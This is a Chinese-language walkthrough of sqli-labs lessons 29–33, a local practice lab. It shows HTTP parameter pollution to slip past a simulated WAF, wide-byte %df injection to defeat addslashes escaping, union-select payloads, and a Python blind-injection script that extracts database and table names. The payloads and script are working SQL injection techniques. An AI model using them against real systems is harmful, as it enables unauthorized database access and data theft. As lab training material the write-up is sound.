Less 29-33
Less 29 GET -Error based- IMPIDENCE MISMATCH- Having a WAF infront of web application
这一关在web应用前有一个waf,在关卡列表界面直接点开是没有的,要在地址栏输入
http://127.0.0.1/Less-29/login.php
才是有waf保护的界面
其实这里并不是真正的硬件waf,只是有两个函数模拟了waf的功能和收到参数的反应。sqlilabs靶场也提供了能够部署真正硬件waf的代码,不过随着时代的发展,waf也在变化,专门配置这样一个waf也没太有必要,直接使用这个模拟题目的就好了。
这一关在正常配置waf的情况下,的结构图如下所示
客户端在访问服务器端时,需要先经过一个tomcat服务器,这个tomcat服务器中部署的过滤代码充当了
waf
的功能。输入的参数经过tomcat服务器过滤后,再被传入到真正的服务端apache服务器上处理,然后逐层返回到客户端。
这里传入的参数只有一个,名为id,当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析。
构造如下代码
?id=0&id=-1' unionselect1,2,database()--+
传入两个参数用
&
符号隔开,第一个参数用于绕过waf,第二个参数则是传入apache服务器进行运行的注入代码。
注入成功。
Less 30 GET - BLIND - IMPIDENCE MISMATCH- Having a WAF infront of web application
这一关的绕过waf的思路与上一关相同,依然是传入两个名为id的参数,第一个参数用于让waf检测,第二个参数用于在服务端注入。这一关的使用
"
进行闭合,除此之外,在服务端没有任何过滤手段,这里使用前面的盲注脚本,基本没什么需要修改的地方,只是加入一个名为id的传入参数即可。
from lxml import html
import requests
defgetCheck(url,xpath,payload):
r=requests.get(url+payload)
tree=html.fromstring(r.text)
check=tree.xpath(xpath)if(len(check)>0):return1else:return0defdatabase_length(url,xpath):
length=0for i inrange(1,30):
payload=" and length((select database()))<%s --+"%i
check=getCheck(url,xpath,payload)if(check):breakelse:
length+=1print('Database length:'+str(length))return length
defdatabase_name(url,xpath,dbl):
dbname=''for i inrange(1,dbl+1):for j inrange(97,123):
payload=" and ascii(substr((select database()),%s,%s))=%s--+"%(i,i,j)
check=getCheck(url,xpath,payload)if(check):# print(chr(j))
dbname+=chr(j)print('database name:'+str(dbname))return dbname
defdatabase_table(url,xpath,dbname):
tablenum=0for i inrange(0,100):
payload=" and length((select group_concat(table_name) from information_schema.tables where table_schema='%s'))=%s--+"%(dbname,i)
check=getCheck(url,xpath,payload)if(check):
tablenum=i
break
dbtables=''for i inrange(1,tablenum+1):for j in'0123456789abcdefghijklmnopqrstuvwxyz,_-':
payload=" and substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%s,1)='%s'--+"%(dbname,i,j)
check=getCheck(url,xpath,payload)if(check):
dbtables+=j
breakreturn dbtables
if __name__=='__main__':
url="http://127.0.0.1/Less-30/?id=1&id=1\""
xpath="/html/body/div/font[2]/font/text()"
dbl=database_length(url,xpath)
dbname=database_name(url,xpath,dbl)
dbtables=database_table(url,xpath,dbname)print("tables:"+str(dbtables))
注入成功。
Less 31 GET - BLIND - IMPIDENCE MISMATCH- Having a WAF in front of web application
这一关闭合方式变为了
")
,除此之外与上一关没有任何区别。
Less 32 GET - Bypass custom filter adding slashes to dangerous chars
这一关使用宽字节注入。我们在id处传入
1'
试图进行闭合,发现页面上显示被编码成了
1/'
。我们在
'
前输入
%df
,页面出现报错信息。
宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。
这样的话,就相当与使用
%df'
进行了闭合,其他方面没啥区别,直接构造使用
union select
查询的语句。
-1%df' unionselect1,2,database()--+
查询成功。
Less 33 GET - Bypass AddSlashes()
这一关注入的方式与上一关没区别,只是后台在给
'
前加
/
的实现方式有所区别,但是攻击的过程是一样的,这里不再赘述。
版权归原作者 zhuyuemoonshine 所有, 如有侵权,请联系我们删除。